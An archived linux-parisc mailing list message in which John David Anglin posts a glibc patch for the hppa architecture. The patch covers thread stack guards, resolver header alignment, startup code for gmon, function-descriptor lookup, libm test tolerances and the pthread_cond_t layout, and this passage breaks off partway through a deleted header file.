          for <linux-parisc@vger.kernel.org>;
          Tue, 11 Apr 2017 08:01:13 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by torspm01.bell.net
          with ESMTP
          id <20170411120113.FVUG28434.torspm01.bell.net@[192.168.2.10]>;
          Tue, 11 Apr 2017 08:01:13 -0400
In-Reply-To: <9978E89C-A7D6-4ED2-9751-69CA148505E3@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=CLPFZVjD c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=AzvcPWV-tVgA:10 a=FBHGMhGWAAAA:8 a=XeklaWkJ2ksF-IEtKy0A:9 a=CjuIK1q_8ugA:10 a=lzDhS8hmAAAA:8 a=mDV3o1hIAAAA:8 a=hxGhHl1hI7u5Wfq4RM0A:9 a=bMGD6HAPVn5PlVgk:21 a=VMtr9Y9rOenNL7Ok:21 a=TdN7U5H745d8w7Hl:21 a=Ld372NDzu18A:10 a=9gvnlMMaQFpL9xblJ6ne:22 a=rigQk1bY_8VmChEzA3fK:22 a=_FVE-zBwftR9WsbkzFJk:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27387
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27387>


--Apple-Mail-6-356281441
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2017-04-05, at 7:03 PM, John David Anglin wrote:

> Attached is my latest patch for glibc trunk on hppa.  =
sysdeps/hppa/fpu/libm-test-ulps is updated with new
> ulps values.  sysdeps/hppa/dl-fptr.c b/sysdeps/hppa/dl-fptr.c is =
updated because define for ALIGN_UP
> moved.

Latest patch set adds v3 version of pthread_cond_t patch and fixes =
nptl/tst-typesizes.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-6-356281441
Content-Disposition: attachment;
	filename=glibc-20170410.d.txt
Content-Type: text/plain;
	name="glibc-20170410.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/elf/Makefile b/elf/Makefile
index cc4aeb25b6..883dd8f013 100644
--- a/elf/Makefile
+++ b/elf/Makefile
@@ -543,7 +543,7 @@ CFLAGS-ldconfig.c =3D $(SYSCONF-FLAGS) =
-D'LIBDIR=3D"$(libdir)"' \
 libof-ldconfig =3D ldconfig
 CFLAGS-dl-cache.c =3D $(SYSCONF-FLAGS)
 CFLAGS-cache.c =3D $(SYSCONF-FLAGS)
-CFLAGS-rtld.c =3D $(SYSCONF-FLAGS)
+CFLAGS-rtld.c +=3D $(SYSCONF-FLAGS)
=20
 cpp-srcs-left :=3D $(all-rtld-routines:=3D.os)
 lib :=3D rtld
diff --git a/nptl/allocatestack.c b/nptl/allocatestack.c
index e5c5f79a82..085ae07b32 100644
--- a/nptl/allocatestack.c
+++ b/nptl/allocatestack.c
@@ -647,9 +647,13 @@ allocate_stack (const struct pthread_attr *attr, =
struct pthread **pdp,
 			prot) !=3D 0)
 	    goto mprot_error;
 #elif _STACK_GROWS_UP
-	  if (mprotect ((char *) pd - pd->guardsize,
-			pd->guardsize - guardsize, prot) !=3D 0)
-	    goto mprot_error;
+	  char *new_guard =3D (char *) (((uintptr_t) pd - guardsize) & =
~pagesize_m1);
+	  char *old_guard =3D (char *) (((uintptr_t) pd - pd->guardsize) =
& ~pagesize_m1);
+	  /* The guard size difference might be > 0, but once rounded
+	     to the nearest page the size difference might be zero.  */
+	  if (old_guard - new_guard > 0)
+	    if (mprotect (old_guard, new_guard - old_guard, prot) !=3D =
0)
+	      goto mprot_error;
 #endif
=20
 	  pd->guardsize =3D guardsize;
diff --git a/resolv/res_mkquery.c b/resolv/res_mkquery.c
index 4532b582a2..19a6d82b96 100644
--- a/resolv/res_mkquery.c
+++ b/resolv/res_mkquery.c
@@ -83,6 +83,15 @@
 # define RANDOM_BITS(Var) { uint64_t v64; HP_TIMING_NOW (v64); Var =3D =
v64; }
 #endif
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access
+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+#define HEADER UHEADER
+
 /*
  * Form all types of queries.
  * Returns the size of the result or -1.
diff --git a/resolv/res_query.c b/resolv/res_query.c
index 07dc6f6583..9a1a8f90d1 100644
--- a/resolv/res_query.c
+++ b/resolv/res_query.c
@@ -78,6 +78,14 @@
 #include <stdlib.h>
 #include <string.h>
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access=20=

+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+
 /* Options.  Leave them on. */
 /* #undef DEBUG */
=20
@@ -117,8 +125,8 @@ __libc_res_nquery(res_state statp,
 		  int *resplen2,
 		  int *answerp2_malloced)
 {
-	HEADER *hp =3D (HEADER *) answer;
-	HEADER *hp2;
+	UHEADER *hp =3D (UHEADER *) answer;
+	UHEADER *hp2;
 	int n, use_malloc =3D 0;
 	u_int oflags =3D statp->_flags;
=20
@@ -235,7 +243,7 @@ __libc_res_nquery(res_state statp,
=20
 	if (answerp !=3D NULL)
 	  /* __libc_res_nsend might have reallocated the buffer.  */
-	  hp =3D (HEADER *) *answerp;
+	  hp =3D (UHEADER *) *answerp;
=20
 	/* We simplify the following tests by assigning HP to HP2 or
 	   vice versa.  It is easy to verify that this is the same as
@@ -246,7 +254,7 @@ __libc_res_nquery(res_state statp,
 	  }
 	else
 	  {
-	    hp2 =3D (HEADER *) *answerp2;
+	    hp2 =3D (UHEADER *) *answerp2;
 	    if (n < (int) sizeof (HEADER))
 	      {
 	        hp =3D hp2;
@@ -336,7 +344,7 @@ __libc_res_nsearch(res_state statp,
 		   int *answerp2_malloced)
 {
 	const char *cp, * const *domain;
-	HEADER *hp =3D (HEADER *) answer;
+	UHEADER *hp =3D (UHEADER *) answer;
 	char tmp[NS_MAXDNAME];
 	u_int dots;
 	int trailing_dot, ret, saved_herrno;
diff --git a/resolv/res_send.c b/resolv/res_send.c
index 28c4cabfcb..19f9a86a2b 100644
--- a/resolv/res_send.c
+++ b/resolv/res_send.c
@@ -110,6 +110,15 @@
 #include <kernel-features.h>
 #include <libc-diag.h>
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access=20=

+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+#define HEADER UHEADER
+
 #if PACKETSZ > 65536
 #define MAXPACKET       PACKETSZ
 #else
diff --git a/sysdeps/hppa/Makefile b/sysdeps/hppa/Makefile
index c0edb99917..64af43b5ff 100644
--- a/sysdeps/hppa/Makefile
+++ b/sysdeps/hppa/Makefile
@@ -23,6 +23,7 @@ LDFLAGS-c_pic.os +=3D -Wl,--unique=3D.text*
=20
 ifeq ($(subdir),elf)
 CFLAGS-rtld.c +=3D -mdisable-fpregs
+CFLAGS-dl-reloc.c +=3D --param inline-unit-growth=3D100
 sysdep-dl-routines +=3D dl-symaddr dl-fptr
 # dl-fptr.c needs a complete rewrite to fix ISO C aliasing violations.
 CFLAGS-dl-fptr.c =3D -Wno-error
diff --git a/sysdeps/hppa/__longjmp.c b/sysdeps/hppa/__longjmp.c
index a7eefc7ad6..438db01473 100644
--- a/sysdeps/hppa/__longjmp.c
+++ b/sysdeps/hppa/__longjmp.c
@@ -24,15 +24,16 @@
 void
 __longjmp (__jmp_buf env, int val)
 {
+#ifdef CHECK_SP
+  CHECK_SP (env[0].__jmp_buf.__sp);
+#endif
+
+  {
   /* We must use one of the non-callee saves registers
      for env.  */
   register unsigned long r26 asm ("r26") =3D (unsigned long)&env[0];
   register unsigned long r25 asm ("r25") =3D (unsigned long)(val =3D=3D =
0 ? 1 : val);
=20
-#ifdef CHECK_SP
-  CHECK_SP (env[0].__jmp_buf.__sp);
-#endif
-
   asm volatile(
 	/* Set return value.  */
 	"copy	%0, %%r28\n\t"
@@ -79,6 +80,8 @@ __longjmp (__jmp_buf env, int val)
 	: /* No outputs.  */
 	: "r" (r25), "r" (r26)
 	: /* No point in clobbers.  */ );
+  }
+
   /* Avoid `volatile function does return' warnings.  */
   for (;;);
 }
diff --git a/sysdeps/hppa/crti.S b/sysdeps/hppa/crti.S
index 7c1470ddf8..0f9bb7b013 100644
--- a/sysdeps/hppa/crti.S
+++ b/sysdeps/hppa/crti.S
@@ -49,6 +49,95 @@
 # define PREINIT_FUNCTION_WEAK 1
 #endif
=20
+#if PREINIT_FUNCTION_WEAK
+	weak_extern (PREINIT_FUNCTION)
+#else
+	.hidden PREINIT_FUNCTION
+#endif
+
+
+/* If we have working .init_array support, we want to keep the .init
+   section empty (apart from the mandatory prologue/epilogue.  This
+   ensures that the default unwind conventions (return-pointer in b0,
+   frame state in ar.pfs, etc.)  will do the Right Thing.  To ensure
+   an empty .init section, we register gmon_initializer() via the
+   .init_array.
+
+    --davidm 02/10/29 */
+
+#if PREINIT_FUNCTION_WEAK
+/* This blob of assembly code is one simple C function:
+
+static void
+__attribute__ ((used))
+gmon_initializer (void)
+{
+  extern void weak_function __gmon_start__ (void);
+
+  if (__gmon_start__)
+    (*__gmon_start__)();
+}
+
+In a final executable, PLABEL32 relocations for function pointers are
+resolved at link time.  Typically, binutils/ld resolves __gmon_start__
+using an external shared library.  __gmon_start__ is always called if
+it is found at link time.  If __gmon_start__ is not found at runtime
+due to a library update, then the function pointer will point at a null
+function descriptor and calling it will cause a segmentation fault.
+So, we call __canonicalize_funcptr_for_compare to obtain the =
canonicalized
+address of __gmon_start__ and skip calling __gmon_start__ if it is =
zero.
+
+ */
+	.type __canonicalize_funcptr_for_compare,@function
+	.type $$dyncall,@function
+
+	.section .data.rel.ro,"aw",@progbits
+	.align 4
+.LC0:
+	.type __gmon_start__,@function
+	.word P%__gmon_start__
+
+	.text
+	.align 4
+	.type gmon_initializer,@function
+gmon_initializer:
+	.PROC
+	.CALLINFO FRAME=3D64,CALLS,SAVE_RP,ENTRY_GR=3D4
+	.ENTRY
+	stw %r2,-20(%r30)
+	stwm %r4,64(%r30)
+	stw %r3,-60(%r30)
+	addil LT'.LC0,%r19
+	ldw RT'.LC0(%r1),%r28
+	ldw 0(%r28),%r3
+	comib,=3D 0,%r3,1f
+	copy %r19,%r4
+	stw %r19,-32(%r30)
+	bl __canonicalize_funcptr_for_compare,%r2
+	copy %r3,%r26
+	comib,=3D 0,%r28,1f
+	copy %r4,%r19
+	copy %r3,%r22
+	.CALL ARGW0=3DGR
+	bl $$dyncall,%r31
+	copy %r31,%r2
+1:
+	ldw -84(%r30),%r2
+	ldw -60(%r30),%r3
+	bv %r0(%r2)
+	ldwm -64(%r30),%r4
+	.EXIT
+	.PROCEND
+	.size gmon_initializer, .-gmon_initializer
+
+# undef PREINIT_FUNCTION
+# define PREINIT_FUNCTION gmon_initializer
+#endif
+
+	.section .init_array, "aw"
+	.word P% PREINIT_FUNCTION
+
+
 /* _init prologue.  */
 	.section .init, "ax", %progbits
 	.align 4
@@ -58,14 +147,6 @@ _init:
 	stw	%rp,-20(%sp)
 	stwm	%r4,64(%sp)
 	stw	%r19,-32(%sp)
-#if PREINIT_FUNCTION_WEAK
-	bl	PREINIT_FUNCTION,%rp
-	copy	%r19,%r4	/* delay slot */
-#else
-	bl	PREINIT_FUNCTION,%rp
-	copy	%r19,%r4	/* delay slot */
-#endif
-	copy	%r4,%r19
=20
 /* _fini prologue.  */
         .section .fini,"ax",%progbits
diff --git a/sysdeps/hppa/crtn.S b/sysdeps/hppa/crtn.S
index 42f310d217..49666b81f9 100644
--- a/sysdeps/hppa/crtn.S
+++ b/sysdeps/hppa/crtn.S
@@ -38,27 +38,6 @@
 /* crtn.S puts function epilogues in the .init and .fini sections
    corresponding to the prologues in crti.S. */
=20
-/* Note that we cannot have a weak undefined __gmon_start__, because
-   that would require this to be PIC, and the linker is currently not
-   able to generate a proper procedure descriptor for _init.  Sad but
-   true.  Anyway, HPPA is one of those horrible architectures where
-   making the comparison and indirect call is quite expensive (see the
-   comment in sysdeps/generic/initfini.c). */
-        .text
-        .align 4
-        .weak   __gmon_start__
-        .type    __gmon_start__,@function
-__gmon_start__:
-	.proc
-	.callinfo
-	.entry
-        bv,n %r0(%r2)
-	.exit
-	.procend
-
-/* Here is the tail end of _init.  We put __gmon_start before this so
-   that the assembler creates the .PARISC.unwind section for us, ie.
-   with the right attributes.  */
 	.section .init, "ax", @progbits
 	ldw	-84(%sp),%rp
 	copy	%r4,%r19
diff --git a/sysdeps/hppa/dl-fptr.c b/sysdeps/hppa/dl-fptr.c
index 83bdb91202..96fd09d192 100644
--- a/sysdeps/hppa/dl-fptr.c
+++ b/sysdeps/hppa/dl-fptr.c
@@ -28,6 +28,7 @@
 #include <dl-fptr.h>
 #include <dl-unmap-segments.h>
 #include <atomic.h>
+#include <libc-pointer-arith.h>
=20
 #ifndef ELF_MACHINE_BOOT_FPTR_TABLE_LEN
 /* ELF_MACHINE_BOOT_FPTR_TABLE_LEN should be greater than the number of
@@ -181,24 +182,29 @@ make_fdesc (ElfW(Addr) ip, ElfW(Addr) gp)
 static inline ElfW(Addr) * __attribute__ ((always_inline))
 make_fptr_table (struct link_map *map)
 {
-  const ElfW(Sym) *symtab
-    =3D (const void *) D_PTR (map, l_info[DT_SYMTAB]);
+  const ElfW(Sym) *symtab =3D (const void *) D_PTR (map, =
l_info[DT_SYMTAB]);
   const char *strtab =3D (const void *) D_PTR (map, l_info[DT_STRTAB]);
   ElfW(Addr) *fptr_table;
   size_t size;
   size_t len;
+  const ElfW(Sym) *symtabend;
=20
-  /* XXX Apparently the only way to find out the size of the dynamic
-     symbol section is to assume that the string table follows right
-     afterwards...  */
-  len =3D ((strtab - (char *) symtab)
+  /* Determine the end of the dynamic symbol table using the hash.  */
+  if (map->l_info[DT_HASH] !=3D NULL)
+    symtabend =3D (symtab + ((Elf_Symndx *) D_PTR (map, =
l_info[DT_HASH]))[1]);
+  else
+  /* There is no direct way to determine the number of symbols in the
+     dynamic symbol table and no hash table is present.  The ELF
+     binary is ill-formed but what shall we do?  Use the beginning of
+     the string table which generally follows the symbol table.  */
+    symtabend =3D (const ElfW(Sym) *) strtab;
+
+  len =3D (((char *) symtabend - (char *) symtab)
 	 / map->l_info[DT_SYMENT]->d_un.d_val);
-  size =3D ((len * sizeof (fptr_table[0]) + GLRO(dl_pagesize) - 1)
-	  & -GLRO(dl_pagesize));
-  /* XXX We don't support here in the moment systems without MAP_ANON.
-     There probably are none for IA-64.  In case this is proven wrong
-     we will have to open /dev/null here and use the file descriptor
-     instead of the hard-coded -1.  */
+  size =3D ALIGN_UP (len * sizeof (fptr_table[0]), GLRO(dl_pagesize));
+
+  /* We don't support systems without MAP_ANON.  We avoid using malloc
+     because this might get called before malloc is setup.  */
   fptr_table =3D __mmap (NULL, size,
 		       PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE,
 		       -1, 0);
@@ -331,22 +337,45 @@ elf_machine_resolve (void)
   return addr;
 }
=20
+static inline int
+_dl_read_access_allowed (unsigned int *addr)
+{
+  int result;
+
+  asm ("proberi	(%1),3,%0" : "=3Dr" (result) : "r" (addr) : );
+
+  return result;
+}
+
 ElfW(Addr)
 _dl_lookup_address (const void *address)
 {
   ElfW(Addr) addr =3D (ElfW(Addr)) address;
   unsigned int *desc, *gptr;
=20
-  /* Check for special cases.  */
-  if ((int) addr =3D=3D -1
-      || (unsigned int) addr < 4096
-      || !((unsigned int) addr & 2))
+  /* Return ADDR if the least-significant two bits of ADDR are not =
consistent
+     with ADDR being a linker defined function pointer.  The normal =
value for
+     a code address in a backtrace is 3.  */
+  if (((unsigned int) addr & 3) !=3D 2)
+    return addr;
+
+  /* Handle special case where ADDR points to page 0.  */
+  if ((unsigned int) addr < 4096)
     return addr;
=20
   /* Clear least-significant two bits from descriptor address.  */
   desc =3D (unsigned int *) ((unsigned int) addr & ~3);
+  if (!_dl_read_access_allowed (desc))
+    return addr;
=20
-  /* Check if descriptor requires resolution.  The following trampoline =
is
+  /* Load first word of candidate descriptor.  It should be a pointer
+     with word alignment and point to memory that can be read.  */
+  gptr =3D (unsigned int *) desc[0];
+  if (((unsigned int) gptr & 3) !=3D 0
+      || !_dl_read_access_allowed (gptr))
+    return addr;
+
+  /* See if descriptor requires resolution.  The following trampoline =
is
      used in each global offset table for function resolution:
=20
 		ldw 0(r20),r22
@@ -358,7 +387,6 @@ _dl_lookup_address (const void *address)
 		.word "_dl_runtime_resolve ltp"
      got:	.word _DYNAMIC
 		.word "struct link map address" */
-  gptr =3D (unsigned int *) desc[0];
   if (gptr[0] =3D=3D 0xea9f1fdd			/* b,l .-12,r20  =
   */
       && gptr[1] =3D=3D 0xd6801c1e			/* depwi =
0,31,2,r20 */
       && (ElfW(Addr)) gptr[2] =3D=3D elf_machine_resolve ())
diff --git a/sysdeps/hppa/dl-trampoline.S b/sysdeps/hppa/dl-trampoline.S
index 856339bffe..f1294a931f 100644
--- a/sysdeps/hppa/dl-trampoline.S
+++ b/sysdeps/hppa/dl-trampoline.S
@@ -82,6 +82,11 @@ _dl_runtime_resolve:
 	bl	_dl_fixup,%rp
 	copy	%r21,%r19		/* set fixup func ltp */
=20
+	/* Sometimes a final executable may attempt to call an undefined
+	   weak function (e.g., __gmon_start__).  Return if the function
+	   was not resolved by _dl_fixup */
+	comib,=3D	0,%r28,1f
+
 	/* Load up the returned func descriptor */
 	copy	%r28, %r22
 	copy	%r29, %r19
@@ -107,6 +112,13 @@ _dl_runtime_resolve:
 	/* Jump to new function, but return to previous function */
 	bv	%r0(%r22)
 	ldw	-20(%sp),%rp
+
+1:
+	/* Return to previous function */
+	ldw	-148(%sp),%rp
+	bv	%r0(%rp)
+	ldo	-128(%sp),%sp
+
         .EXIT
         .PROCEND
 	cfi_endproc
diff --git a/sysdeps/hppa/fpu/libm-test-ulps =
b/sysdeps/hppa/fpu/libm-test-ulps
index b5c8e7ccde..6e2058391d 100644
--- a/sysdeps/hppa/fpu/libm-test-ulps
+++ b/sysdeps/hppa/fpu/libm-test-ulps
@@ -184,15 +184,15 @@ idouble: 1
 ifloat: 2
=20
 Function: Imaginary part of "cacos":
-double: 1
+double: 2
 float: 2
-idouble: 1
+idouble: 2
 ifloat: 2
=20
 Function: Real part of "cacos_downward":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Imaginary part of "cacos_downward":
@@ -202,9 +202,9 @@ idouble: 5
 ifloat: 3
=20
 Function: Real part of "cacos_towardzero":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Imaginary part of "cacos_towardzero":
@@ -220,15 +220,15 @@ idouble: 2
 ifloat: 2
=20
 Function: Imaginary part of "cacos_upward":
-double: 4
-float: 4
-idouble: 4
-ifloat: 4
+double: 5
+float: 7
+idouble: 5
+ifloat: 7
=20
 Function: Real part of "cacosh":
-double: 1
+double: 2
 float: 2
-idouble: 1
+idouble: 2
 ifloat: 2
=20
 Function: Imaginary part of "cacosh":
@@ -244,10 +244,10 @@ idouble: 5
 ifloat: 3
=20
 Function: Imaginary part of "cacosh_downward":
-double: 2
-float: 2
-idouble: 2
-ifloat: 2
+double: 3
+float: 3
+idouble: 3
+ifloat: 3
=20
 Function: Real part of "cacosh_towardzero":
 double: 5
@@ -256,9 +256,9 @@ idouble: 5
 ifloat: 3
=20
 Function: Imaginary part of "cacosh_towardzero":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Real part of "cacosh_upward":
@@ -268,9 +268,9 @@ idouble: 4
 ifloat: 4
=20
 Function: Imaginary part of "cacosh_upward":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: "carg":
@@ -304,16 +304,16 @@ ildouble: 1
 ldouble: 1
=20
 Function: Imaginary part of "casin":
-double: 1
+double: 2
 float: 2
-idouble: 1
+idouble: 2
 ifloat: 2
=20
 Function: Real part of "casin_downward":
 double: 3
-float: 1
+float: 2
 idouble: 3
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "casin_downward":
 double: 5
@@ -334,16 +334,16 @@ idouble: 5
 ifloat: 3
=20
 Function: Real part of "casin_upward":
-double: 2
-float: 1
-idouble: 2
-ifloat: 1
+double: 3
+float: 2
+idouble: 3
+ifloat: 2
=20
 Function: Imaginary part of "casin_upward":
-double: 4
-float: 4
-idouble: 4
-ifloat: 4
+double: 5
+float: 7
+idouble: 5
+ifloat: 7
=20
 Function: Real part of "casinh":
 double: 5
@@ -369,9 +369,9 @@ ifloat: 3
=20
 Function: Imaginary part of "casinh_downward":
 double: 3
-float: 1
+float: 2
 idouble: 3
-ifloat: 1
+ifloat: 2
=20
 Function: Real part of "casinh_towardzero":
 double: 5
@@ -386,19 +386,21 @@ idouble: 3
 ifloat: 1
=20
 Function: Real part of "casinh_upward":
-double: 4
-float: 4
-idouble: 4
-ifloat: 4
+double: 5
+float: 7
+idouble: 5
+ifloat: 7
=20
 Function: Imaginary part of "casinh_upward":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Real part of "catan":
+double: 1
 float: 1
+idouble: 1
 ifloat: 1
=20
 Function: Imaginary part of "catan":
@@ -411,9 +413,9 @@ ldouble: 1
=20
 Function: Real part of "catan_downward":
 double: 1
-float: 1
+float: 2
 idouble: 1
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "catan_downward":
 double: 2
@@ -423,15 +425,15 @@ ifloat: 2
=20
 Function: Real part of "catan_towardzero":
 double: 1
-float: 1
+float: 2
 idouble: 1
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "catan_towardzero":
 double: 2
-float: 1
+float: 2
 idouble: 2
-ifloat: 1
+ifloat: 2
=20
 Function: Real part of "catan_upward":
 double: 1
@@ -454,7 +456,9 @@ ildouble: 4
 ldouble: 4
=20
 Function: Imaginary part of "catanh":
+double: 1
 float: 1
+idouble: 1
 ifloat: 1
=20
 Function: Real part of "catanh_downward":
@@ -471,9 +475,9 @@ ifloat: 2
=20
 Function: Real part of "catanh_towardzero":
 double: 2
-float: 1
+float: 2
 idouble: 2
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "catanh_towardzero":
 double: 1
@@ -483,9 +487,9 @@ ifloat: 2
=20
 Function: Real part of "catanh_upward":
 double: 4
-float: 3
+float: 4
 idouble: 4
-ifloat: 3
+ifloat: 4
=20
 Function: Imaginary part of "catanh_upward":
 double: 1
diff --git a/sysdeps/hppa/nptl/bits/pthreadtypes.h =
b/sysdeps/hppa/nptl/bits/pthreadtypes.h
index e37111a2f3..2f17318121 100644
--- a/sysdeps/hppa/nptl/bits/pthreadtypes.h
+++ b/sysdeps/hppa/nptl/bits/pthreadtypes.h
@@ -103,40 +103,34 @@ typedef union
   long int __align;
 } pthread_mutexattr_t;
=20
-
-/* Data structure for conditional variable handling.  The structure of
-   the attribute type is not exposed on purpose. However, this =
structure
-   is exposed via PTHREAD_COND_INITIALIZER, and because of this, the
-   Linuxthreads version sets the first four ints to one. In the NPTL
-   version we must check, in every function using pthread_cond_t,
-   for the static Linuxthreads initializer and clear the appropriate
-   words. */
+/* Data structure for conditional variable handling. */
 typedef union
 {
   struct
   {
-    /* In the old Linuxthreads pthread_cond_t, this is the
-       start of the 4-word lock structure, the next four words
-       are set all to 1 by the Linuxthreads
-       PTHREAD_COND_INITIALIZER.  */
-    int __lock __attribute__ ((__aligned__(16)));
-    /* Tracks the initialization of this structure:
-       0  initialized with NPTL PTHREAD_COND_INITIALIZER.
-       1  initialized with Linuxthreads PTHREAD_COND_INITIALIZER.
-       2  initialization in progress.  */
-    int __initializer;
-    unsigned int __futex;
-    void *__mutex;
-    /* In the old Linuxthreads this would have been the start
-       of the pthread_fastlock status word.  */
-    __extension__ unsigned long long int __total_seq;
-    __extension__ unsigned long long int __wakeup_seq;
-    __extension__ unsigned long long int __woken_seq;
-    unsigned int __nwaiters;
-    unsigned int __broadcast_seq;
-    /* The NPTL pthread_cond_t is exactly the same size as
-       the Linuxthreads version, there are no words to spare.  */
+    __extension__ union
+    {
+      __extension__ unsigned long long int __wseq;
+      struct {
+	unsigned int __low;
+	unsigned int __high;
+      } __wseq32;
+    };
+    __extension__ union
+    {
+      __extension__ unsigned long long int __g1_start;
+      struct {
+	unsigned int __low;
+        unsigned int __high;
+      } __g1_start32;
+    };
+    unsigned int __g_refs[2];
+    unsigned int __g_size[2];
+    unsigned int __g1_orig_size;
+    unsigned int __wrefs;
+    unsigned int __g_signals[2];
   } __data;
+  int __unused_lock __attribute__ ((__aligned__(16)));
   char __size[__SIZEOF_PTHREAD_COND_T];
   __extension__ long long int __align;
 } pthread_cond_t;
diff --git a/sysdeps/unix/sysv/linux/hppa/bits/shm.h =
b/sysdeps/unix/sysv/linux/hppa/bits/shm.h
index 794f0ab2da..52632d0dea 100644
--- a/sysdeps/unix/sysv/linux/hppa/bits/shm.h
+++ b/sysdeps/unix/sysv/linux/hppa/bits/shm.h
@@ -37,7 +37,7 @@
 #define SHM_UNLOCK	12		/* unlock segment (root only) */
=20
 /* Segment low boundary address multiple.  */
-#define SHMLBA 0x00400000		/* address needs to be 4 Mb =
aligned */
+#define SHMLBA		(__getpagesize ())
=20
 /* Type to count number of attaches.  */
 typedef unsigned long int shmatt_t;
diff --git a/sysdeps/unix/sysv/linux/hppa/clone.S =
b/sysdeps/unix/sysv/linux/hppa/clone.S
index d36b302199..46ee6972d3 100644
--- a/sysdeps/unix/sysv/linux/hppa/clone.S
+++ b/sysdeps/unix/sysv/linux/hppa/clone.S
@@ -64,9 +64,12 @@
 ENTRY(__clone)
 	/* Prologue */
 	stwm	%r4, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 4, 0
 	stw	%sp, -4(%sp)
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Sanity check arguments.  */
diff --git a/sysdeps/unix/sysv/linux/hppa/getcontext.S =
b/sysdeps/unix/sysv/linux/hppa/getcontext.S
index 6f52f2149d..68a74a0b7e 100644
--- a/sysdeps/unix/sysv/linux/hppa/getcontext.S
+++ b/sysdeps/unix/sysv/linux/hppa/getcontext.S
@@ -130,8 +130,11 @@ ENTRY(__getcontext)
=20
 	/* Prologue */
 	stwm	%r4, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 4, 0
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Set up the trampoline registers.
@@ -156,7 +159,7 @@ ENTRY(__getcontext)
 	/* Epilogue */
 	ldw	-84(%sp), %r2
 #ifdef PIC
-	ldw	-96(%sp), %r19
+	ldw	-32(%sp), %r19
 #endif
 	bv	%r0(%r2)
 	ldwm	-64(%sp), %r4
diff --git a/sysdeps/unix/sysv/linux/hppa/internaltypes.h =
b/sysdeps/unix/sysv/linux/hppa/internaltypes.h
deleted file mode 100644
index d6496579da..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/internaltypes.h
+++ /dev/null
@@ -1,84 +0,0 @@
-#include_next <internaltypes.h>
-#ifndef _INTERNAL_TYPES_H_HPPA_
-#define _INTERNAL_TYPES_H_HPPA_ 1
-#include <atomic.h>
-
-/* In GLIBC 2.10 HPPA switched from Linuxthreads to NPTL, and in order
-to maintain ABI compatibility with pthread_cond_t, some care had to be
-taken.
-
-The NPTL pthread_cond_t grew in size. When HPPA switched to NPTL, we
-dropped the use of ldcw, and switched to the kernel helper routine for
-compare-and-swap.  This allowed HPPA to use the 4-word 16-byte aligned
-lock words, and alignment words to store the additional pthread_cond_t
-data. Once organized properly the new NPTL pthread_cond_t was 1 word
-smaller than the Linuxthreads version.
-
-However, we were faced with the case that users may have initialized =
the
-pthread_cond_t with PTHREAD_COND_INITIALIZER. In this case, the first
-four words were set to one, and must be cleared before any NPTL code
-used these words.
-
-We didn't want to use LDCW, because it continues to be a source of bugs
-when applications memset pthread_cond_t to all zeroes by accident. This
-works on all other architectures where lock words are unlocked at zero.
-Remember that because of the semantics of LDCW, a locked word is set to
-zero, and an unlocked word is set to 1.
-
-Instead we used atomic_compare_and_exchange_val_acq, but we couldn't =
use
-this on any of the pthread_cond_t words, otherwise it might interfere
-with the current operation of the structure. To solve this problem we
-used the left over word.
-
-If the stucture was initialized by a legacy Linuxthread
-PTHREAD_COND_INITIALIZER it contained a 1, and this indicates that the
-structure requires zeroing for NPTL. The first thread to come upon a
-pthread_cond_t with a 1 in the __initializer field, will
-compare-and-swap the value, placing a 2 there which will cause all =
other
-threads using the same pthread_cond_t to wait for the completion of the
-initialization. Lastly, we use a store (with memory barrier) to change
-__initializer from 2 to 0. Note that the store is strongly ordered, but
-we use the PA 1.1 compatible form which is ",ma" with zero offset.
-
-In the future, when the application is recompiled with NPTL
-PTHREAD_COND_INITIALIZER it will be a quick compare-and-swap, which
-fails because __initializer is zero, and the structure will be used as
-is correctly.  */
-
-#define cond_compat_clear(var) \
-({									=
\
-  int tmp =3D 0;								=
\
